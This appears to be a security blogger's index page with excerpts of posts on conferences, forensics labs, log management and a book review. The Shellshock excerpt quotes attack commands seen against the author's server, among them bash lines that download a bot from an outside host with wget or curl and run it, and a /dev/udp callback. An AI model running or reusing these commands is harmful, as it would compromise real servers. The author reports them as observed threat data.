Hello Dear Readers, my agenda is quite hot at the moment, after attending BlackHat last week in Amsterdam, I’m now in Luxembourg until Friday to attend the 10th edition of Hack.lu. The conference organized in Luxembourg has already reached a decade! Congratulations to the organizers for the event that I’m attending since 2008! It remained since the beginning in my favorite top-three for the following reasons: nice atmosphere, good sizing (not to big not to small), most visitors are regular ones and allow me to meet them once (or two) times a year.
Read More →
Yesterday evening, I had a nice dinner with awesome infosec folks. We faced a massive “Deny of Sushi” attack but we survived! So, I’m just back from Amsterdam and here is my small wrap-up for the second BlackHat day.
Read More →
BlackHat is back in Amsterdam and here is my wrap-up for the first day. It rained all my way to Amsterdam this morning but it will not prevent motivated people to join the Amsterdam RAI where is organised this 2014 edition of BlackHat Europe! They moved from the center of the city to a bigger conference center. Nice place, but far away from bars and restaurants. After the classic registration process and a nice breakfast, let’s go with today’s talks. As usual, Jeff Moss opened the conference with some facts about the event. Interesting: this year 50% of the audience is coming for the first time! Fresh blood is always good. People came from 68 different countries (eg Brazil, Surinam, Ukraine,..). Jeff’s message was also: feel free to ask questions, participate and learn… The community is very important.
Read More →
Once again, here is my quick review about the BruCON network that we deployed for our beloved attendees! Yes, we are glad to take care of your packets during the conference. Nothing changed since the last edition, we deployed the same network in the same venue with the same controls in place. But this year, the biggest change was our brand new wall of sheep…
Read More →
When my friend Didier Stevens contacted me last year to help him with a BruCON 5×5 project, I simply could not decline! Didier developed a framework to perform forensic investigations on Cisco routers. His framework is called NAFT (“Network Appliance Forensic Toolkit”). It is written in Python and provides a good toolbox to extract juicy information from routers memory. From a development point of view, the framework was ready but Didier has the great idea to prepare a workshop to train student to analyze router memory images. The 5×5 project was accepted and thanks to the support of BruCON, it was possible to buy a bunch of Cisco routers to let students play with them. Why hardware routers and not simply a virtual lab (after all we are living in the virtualisation era)? For two main reasons: To avoid licensing issues and a virtual lab does not offer the ROMMON feature which is very useful to take a memory image of the router. The very first workshop was given last week during BruCON as a first premiere. With a fully booked room of people (40), it was a success and we already got good feedbacks. But not all people are able to attend security conferences and workshops, that’s why Didier had the idea to implement an online lab where registered people could perform the same investigations as in the live workshop. That’s where I was involved in the project!
Read More →
In April 2014, the Internet shivered when we faced the “heartbleed” bug in the OpenSSL library. It makes lot of noise across the security community and was even covered by regular media. Such issue could never happen again, right?
Never say never! Last week, a new storm in the Internet with “shellsock” or best known as CVE-2014-6271! This new bug affects the bash UNIX shell. The difference with heartbleed? When you compare them, heartbleed looses definitively its pole position on the top threats. It is very easy to exploit, it affects MANY applications or services that spawn other processes using call like system() on PHP or the well-know mod_cgi provided by Apache. Not only public websites can be affected by also some critical services like:
- the ForceCommand feature in sshd
- scripts executed by unspecified DHCP clients,
- network access control serices
So, any service in which the environment is defined via a bash shell execution. If you need more info about this new threat, google for it!
Some security researchers and bloggers immediately started to scan the Internet to have a better idea of the impact of this vulnerability on public services. Of course, bad guy also started to do the same and my server was hit several times (94). Until today, I detected the following IP addresses:
Here is a list of commands/scripts tested:
/bin/ping -c 1 18.104.22.168
/bin/bash -c "echo testing9123123"; /bin/uname -a
/bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"
echo -e "Content-Type: text/plain\\n"; echo qQQQQQq
echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444
/bin/bash -c "/usr/bin/wget http://singlesaints.com/firefile/temp?h=rootshell.be -O /tmp/a.pl"
/bin/bash -c "wget -q -O /dev/null http://ad.dipad.biz/test/http://leakedin.com/"
/bin/bash -c "wget -U BashNslash.http://www.leakedin.com/tag/urls-list/page/97/ 22.214.171.124"
Personally, I like the one which tries to use the built-in support of sockets via psuedo files like “/dev/[tcp|udp]/<host>/<port>“. This is a nice feature of bash but it is disabled on most distribution (for security reason presicely).
No breaking news, nothing fancy in this quick blog post but it is worth to remember that security appliances can be a potential threat when deployed on your network. For years, security appliances are the “in” thing. On the paper, they are sexy: you just plug a power cable, a network cable, 4 screws if you install them in a 19″ rach (under a table isn’t the best place) and you are ready to play with them. At first boot time, some wizards guide you to perform the basic configuration. They require zero administration tasks, vendors have juicy RMA contracts, … What else?
Read More →
For a while I left Dropbox and other cloud storage solutions and decided to host my own file exchange service based on owncloud.org. I’m using it to exchange files with my partners and customers and keep a full control of the service from A to Z. A major advantage of ownCloud is its modular architecture which allows third party applications to be installed to extend its features. When I started to work with ownCloud, I wrote a first small application which adds a way to check the uploaded files against VirusTotal.
From my humble opinion, there is a point where ownCloud is lacking of good features: The way it manages events. By default, it is possible to send events to a remote Syslog server or in a flat file but the format of the generated events is really ugly. External application were developed to log events into a MySQL database but here again it was not enough convenient for me. Next to ownCloud, I’m also using ELK to manage my log files. It was clear that both solutions must be integrated and I wrote a small application which writes event directly into Elasticsearch. The idea and framework is based on SuperLog wrote by Bastien Ho.
Read More →
A few weeks ago, I reviewed Georgia’s book about penetration testing. In the same topic (pentesting), I was asked to review another one which focus on shell scripting using the bash shell. Keith Makan is the author of “Penetration Testing with the Bash Shell“. Bash is the default shell on many UNIX distributions and is also the primary interface between the operating system and the user when no graphical interface is available. Why talk about a shell in the scope of a penetration test? Simply because good pentesters write code! It’s almost impossible to complete a penetration test without write some lines of code. Because we need to gain time, we need more visibility and we need to parse thousands of lines or files. Usually, the UNIX shell is the first tool that we have to achieve such tasks. That’s the goal of the book. Throughout the chapters, Keith demonstrates how to take advantage of the many bash features to make your life easier.
Read More →
It has been a while that I did not write an article on log management. Here is a quick how-to about the integration of Check Point firewall logs into ELK. For a while, this log management framework is gaining more and more popularity. ELK is based on three core components: ElasticSearch, Logstrack and Kibana. Google is your best friend to find information about ELK. But why Check Point? Usually, I don’t blog about commercial products but I investigated a request from a customer who was looking for a clean solution to integrate this product logs into ELK and I didn’t find my heart’s desire on the Internet
Check Point firewalls are good products amongst others but what I really like is the way they handle logs. By default, logs generated by the firewall modules are sent to the management system (the “SmartCenter“) where they can be reviewed using a powerful fat client but… running only on top of Microsoft Windows systems. To export the logs to an external log management solution, Check Point has developed the OPSEC framework which allows third party applications to interact with firewalls. One of the feature is to get a copy of logs using the LEA protocol. LEA means “Log Export API” and provides the ability to pull logs from a Check Point device via the port TCP/18184. What about Syslog could you ask? It is simply not possible in an out-of-the-box way! To forward logs to a remote Syslog server, you can use the “fwm” command:
# fw log -f -t -n -l 2>/dev/null | awk 'NF' | sed '/^$/d' | logger -p local4.info -t cpwd &
An alternative way is to create a “User Defined Alert” which will call a script for every(!) line of log. In such situations, how to be sure that our firewall will be able to handle a big amount of logs?
Read More →